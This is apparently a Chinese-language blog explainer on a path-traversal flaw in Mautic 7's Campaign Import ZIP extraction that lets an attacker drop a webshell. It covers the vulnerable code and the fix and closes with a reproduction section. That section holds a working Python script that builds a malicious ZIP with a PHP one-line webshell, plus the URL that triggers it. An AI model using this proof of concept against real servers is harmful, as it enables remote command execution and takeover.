一个 ZIP 文件,把 webshell 写到了不该在的地方
Mautic 是个开源的营销自动化平台,企业里用得很广。它有个 Campaign Import 功能------你把营销活动数据打包成 ZIP 传上去,它帮你解压、导入。
很正常的业务功能。但 CVE-2026-9559 让这个功能变成了 webshell 投放器。
怎么回事?一句话:
解压 ZIP 的时候,代码没检查每个文件名的路径合不合法。攻击者在 ZIP 里塞了个文件名叫
../../../web/shell.php的条目,解压之后,这个文件没有待在导入目录里,而是顺着../跑到了 Web 可访问目录。
前端里类似的坑你一定见过:用户上传头像,文件名是 ../../../etc/passwd。后端没过滤,直接拼路径保存------完蛋。或者前端路由里有个 path.join(baseDir, userInput),userInput 是个 ../,直接跳出应用目录。
路径穿越这事二十年了,但每次换一个场景------解压、上传、路由------还是有人中招。Mautic 这次就栽在解压场景。
js
// 一个前端开发者都能一眼看出问题的代码(但很多后端解压逻辑就是这么写的):
const extractDir = '/var/www/mautic/imports/';
zip.forEach(entry => {
const targetPath = extractDir + entry.name;
// entry.name = '../../../web/root/shell.php'
// targetPath = '/var/www/mautic/imports/../../../web/root/shell.php'
// 规范化后 = '/var/www/mautic/web/root/shell.php'
fs.writeFileSync(targetPath, entry.content); // webshell 就位
});
攻击者只需要构造一个 ZIP:
text
malicious_campaign.zip
├── campaign.json ← 正常内容,骗过格式校验
└── ../../../web/root/shell.php ← 穿越路径,内容是一句话木马
上传、导入、解压------Mautic 告诉你导入成功。但在你看不到的角落,shell.php 已经躺在 Web 目录下了。访问 https://target.com/root/shell.php?cmd=id,服务器权限到手。
这个漏洞最讽刺的地方是:你登录 Mautic 看日志,一切正常。ZIP 校验通过,导入成功,没有报错。唯一不正常的事情发生在文件系统上------而大多数监控不会盯着解压目录外的文件写入。
而且这个漏洞不需要管理员。只要有个能创建 Campaign Import 的普通账号就行------很多企业 Mautic 里这权限是默认开的。
怎么修?
原则就一句:解压之前,先看路径。解压之后,确认文件落在了该在的目录里。
Mautic 的修复做了两步:
- 对每个 ZIP 条目的文件名做规范化(
realpath/canonicalize),拒绝包含../的路径 - 解压后校验最终写入路径的前缀必须是目标目录------如果不是,说明穿越了,拒绝写入
如果你用的是受影响的版本,暂时升不了级,几个临时措施:
- 把 ZIP 解压到隔离目录(如
/tmp/sandbox_xxx/),别直接在 Web 目录下操作 - 解压前逐条检查文件名,发现
../直接拒 - 用最小权限跑 Mautic 进程------
www-data能写的目录越少越好
js
// 正确的解压逻辑(前端也能看懂):
const baseDir = path.resolve('/var/www/mautic/imports/');
zip.forEach(entry => {
const resolved = path.resolve(baseDir, entry.name);
if (!resolved.startsWith(baseDir)) {
throw new Error(`路径穿越: ${entry.name}`); // 直接拒
}
fs.writeFileSync(resolved, entry.content);
});
就多了两行校验,webshell 就投不进来了。
本地复现
需要 Mautic 7 环境 + campaign:imports:create 权限的账号。
构造恶意 ZIP(Python):
python
import zipfile
with zipfile.ZipFile('malicious_campaign.zip', 'w') as z:
# 正常文件,骗过格式校验
z.writestr('campaign.json', '{"name": "test"}')
# 穿越路径(实际路径根据 Mautic 安装目录调整)
z.writestr('../../../web/root/shell.php', '<?php system($_GET["cmd"]); ?>')
上传 → 导入 → 访问 https://your-mautic/root/shell.php?cmd=whoami → 命令输出即复现成功。
影响版本 :Mautic 7(Campaign Import 功能) | 修复:参考 Mautic GHSA 更新
前提 :需认证 + campaign:imports:create 权限 | 参考:GitHub Advisory GHSA-6r9h-4h75-7q4x / NVD